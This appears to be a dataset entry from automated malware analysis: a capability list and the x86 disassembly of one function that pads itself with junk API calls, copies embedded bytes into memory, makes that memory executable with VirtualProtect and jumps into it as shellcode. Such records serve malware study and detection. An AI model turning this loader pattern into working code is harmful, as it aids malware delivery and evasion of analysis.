Function at 0x4052ab
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk size
Get file attributes
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4052ec
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x4052fd
inc edi
cmp edi, 0x67d12
jl 0x4052bb
cmp dword [0x246be54], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
jne 0x4053bf
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push 0x404da0
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.0040684e
pop ecx
push esi
push esi
push esi
push esi
call fcn.0040652d
pop ecx
pop ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004065a0
fstp st(0)
add esp, 8
lea ecx, [ebp - 0x14]
call fcn.00405e1e
lea ecx, [ebp - 0x14]
call fcn.00405e5a
push esi
call fcn.00406188
pop ecx
push esi
call fcn.0040619e
pop ecx
push esi
push esi
call fcn.00405e07
push esi
push esi
call fcn.0040657d
push esi
call fcn.00406a66
add esp, 0x14
push esi
call fcn.004062cc
pop ecx
add dword [0x246be54], 0x1134b
push dword [0x246be54]
mov eax, dword [0x444c5c]
push esi
mov dword [0x246cc90], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x246be54]
mov dword [0x246b8e4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x4053fd
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edi, edi
cmp dword [0x246be54], esi
jbe 0x40546e
mov eax, dword [0x246cc90]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x246b8e4]
mov byte [ecx + edi], al
cmp dword [0x246be54], 0x490
jne 0x405465
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x246be54]
jb 0x405421
xor edi, edi
mov eax, dword [0x246be54]
add eax, edi
cmp eax, 0x8d
jne 0x4054ad
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x404d9c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc edi
cmp edi, 0x38681
jl 0x405470
call fcn.004051d1
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4054dc
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x8fbb
mov eax, dword [ebp - 4]
add dword [0x246b8e4], eax
inc edi
cmp edi, 0x674bd
jl 0x4054bd
push 0x7b
pop edi
cmp dword [0x246be54], 0x86
jne 0x405534
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0xc20]
push eax
push 0x404df0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x246be54], 0xf
jne 0x405547
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec edi
jne 0x4054e8
push 0x404e08
call ebx
call dword [0x246b8e4]
pop edi
pop esi
pop ebx
leave
ret